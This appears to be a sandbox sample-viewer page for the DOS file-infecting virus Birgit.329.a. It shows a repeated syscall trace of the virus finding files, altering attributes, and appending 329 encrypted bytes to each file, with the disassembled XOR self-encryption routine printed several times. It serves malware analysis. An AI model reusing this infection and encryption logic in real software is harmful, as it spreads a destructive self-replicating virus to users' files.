Sample viewer

vx.netlux.org/Virus.DOS.Birgit.329.a

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:07:41.30243665Z 53 PC: 12aa1 | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T23:07:41.304705856Z 37 PC: 12ab1 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T23:07:41.305998175Z 53 PC: 12ab8 | Get interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-17T23:07:41.307289793Z 37 PC: 12ac1 | Set interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T23:07:41.309032599Z 78 PC: 12add | Find first file
2018-12-17T23:07:41.315828183Z 67 PC: 12afa | Get or set file attributes
2018-12-17T23:07:41.322223905Z 67 PC: 12b04 | Get or set file attributes
2018-12-17T23:07:41.341347763Z 61 PC: 12b08 | Open file (Filename = '')
2018-12-17T23:07:41.348920217Z 87 PC: 12b0d | Get or set file date and time
2018-12-17T23:07:41.350799179Z 63 PC: 12b18 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:07:41.358173582Z 66 PC: 12b27 | Move file pointer
2018-12-17T23:07:41.361329514Z 44 PC: 12a50 | Get time 0x12a50: mov byte ptr [0x10a], dl
0x12a54: call 0x12a69
0x12a57: pop bx
0x12a58: mov cx, 0x149
0x12a5b: mov dx, 0x100
0x12a5e: mov ah, 0x40
0x12a60: int3
0x12a61: inc byte ptr [0x249]
0x12a65: call 0x12a69
0x12a68: ret
0x12a69: mov bx, 0x141
0x12a6c: mov al, byte ptr [0x10a]
0x12a70: cmp al, 0
0x12a72: je 0x12a80
0x12a74: xor byte ptr [bx], al
0x12a77: inc bx
0x12a78: add al, bh
0x12a7a: cmp bx, word ptr [0x21a]
0x12a7e: jle 0x12a74
0x12a80: ret
2018-12-17T23:07:41.364832809Z 64 PC: 12a61 | Write file or device (Write 329 bytes on handle 5)
2018-12-17T23:07:41.368788194Z 87 PC: 12b32 | Get or set file date and time
2018-12-17T23:07:41.371508888Z 62 PC: 12b35 | Close file
2018-12-17T23:07:41.379778663Z 67 PC: 12b40 | Get or set file attributes
2018-12-17T23:07:41.390660128Z 79 PC: 12add | Find next file
2018-12-17T23:07:41.394597058Z 67 PC: 12afa | Get or set file attributes
2018-12-17T23:07:41.400805859Z 67 PC: 12b04 | Get or set file attributes
2018-12-17T23:07:41.411215417Z 61 PC: 12b08 | Open file (Filename = '')
2018-12-17T23:07:41.420326974Z 87 PC: 12b0d | Get or set file date and time
2018-12-17T23:07:41.422227396Z 63 PC: 12b18 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:07:41.429786205Z 66 PC: 12b27 | Move file pointer
2018-12-17T23:07:41.432400349Z 44 PC: 12a50 | Get time 0x12a50: mov byte ptr [0x10a], dl
0x12a54: call 0x12a69
0x12a57: pop bx
0x12a58: mov cx, 0x149
0x12a5b: mov dx, 0x100
0x12a5e: mov ah, 0x40
0x12a60: int3
0x12a61: inc byte ptr [0x249]
0x12a65: call 0x12a69
0x12a68: ret
0x12a69: mov bx, 0x141
0x12a6c: mov al, byte ptr [0x10a]
0x12a70: cmp al, 0
0x12a72: je 0x12a80
0x12a74: xor byte ptr [bx], al
0x12a77: inc bx
0x12a78: add al, bh
0x12a7a: cmp bx, word ptr [0x21a]
0x12a7e: jle 0x12a74
0x12a80: ret
2018-12-17T23:07:41.435302364Z 64 PC: 12a61 | Write file or device (Write 329 bytes on handle 5)
2018-12-17T23:07:41.43922649Z 87 PC: 12b32 | Get or set file date and time
2018-12-17T23:07:41.442265883Z 62 PC: 12b35 | Close file
2018-12-17T23:07:41.449577267Z 67 PC: 12b40 | Get or set file attributes
2018-12-17T23:07:41.459978348Z 79 PC: 12add | Find next file
2018-12-17T23:07:41.463035214Z 67 PC: 12afa | Get or set file attributes
2018-12-17T23:07:41.469822082Z 67 PC: 12b04 | Get or set file attributes
2018-12-17T23:07:41.489960617Z 61 PC: 12b08 | Open file (Filename = '')
2018-12-17T23:07:41.503304861Z 87 PC: 12b0d | Get or set file date and time
2018-12-17T23:07:41.505800903Z 63 PC: 12b18 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:07:41.512615943Z 66 PC: 12b27 | Move file pointer
2018-12-17T23:07:41.514295781Z 44 PC: 12a50 | Get time 0x12a50: mov byte ptr [0x10a], dl
0x12a54: call 0x12a69
0x12a57: pop bx
0x12a58: mov cx, 0x149
0x12a5b: mov dx, 0x100
0x12a5e: mov ah, 0x40
0x12a60: int3
0x12a61: inc byte ptr [0x249]
0x12a65: call 0x12a69
0x12a68: ret
0x12a69: mov bx, 0x141
0x12a6c: mov al, byte ptr [0x10a]
0x12a70: cmp al, 0
0x12a72: je 0x12a80
0x12a74: xor byte ptr [bx], al
0x12a77: inc bx
0x12a78: add al, bh
0x12a7a: cmp bx, word ptr [0x21a]
0x12a7e: jle 0x12a74
0x12a80: ret
2018-12-17T23:07:41.518612676Z 64 PC: 12a61 | Write file or device (Write 329 bytes on handle 5)
2018-12-17T23:07:41.522092316Z 87 PC: 12b32 | Get or set file date and time
2018-12-17T23:07:41.523808052Z 62 PC: 12b35 | Close file
2018-12-17T23:07:41.53290396Z 67 PC: 12b40 | Get or set file attributes
2018-12-17T23:07:41.54333077Z 79 PC: 12add | Find next file
2018-12-17T23:07:41.546169506Z 67 PC: 12afa | Get or set file attributes
2018-12-17T23:07:41.553041624Z 67 PC: 12b04 | Get or set file attributes
2018-12-17T23:07:41.563339411Z 61 PC: 12b08 | Open file (Filename = '')
2018-12-17T23:07:41.575788622Z 87 PC: 12b0d | Get or set file date and time
2018-12-17T23:07:41.577907655Z 63 PC: 12b18 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:07:41.585212597Z 66 PC: 12b27 | Move file pointer
2018-12-17T23:07:41.587129671Z 44 PC: 12a50 | Get time 0x12a50: mov byte ptr [0x10a], dl
0x12a54: call 0x12a69
0x12a57: pop bx
0x12a58: mov cx, 0x149
0x12a5b: mov dx, 0x100
0x12a5e: mov ah, 0x40
0x12a60: int3
0x12a61: inc byte ptr [0x249]
0x12a65: call 0x12a69
0x12a68: ret
0x12a69: mov bx, 0x141
0x12a6c: mov al, byte ptr [0x10a]
0x12a70: cmp al, 0
0x12a72: je 0x12a80
0x12a74: xor byte ptr [bx], al
0x12a77: inc bx
0x12a78: add al, bh
0x12a7a: cmp bx, word ptr [0x21a]
0x12a7e: jle 0x12a74
0x12a80: ret
2018-12-17T23:07:41.590976913Z 64 PC: 12a61 | Write file or device (Write 329 bytes on handle 5)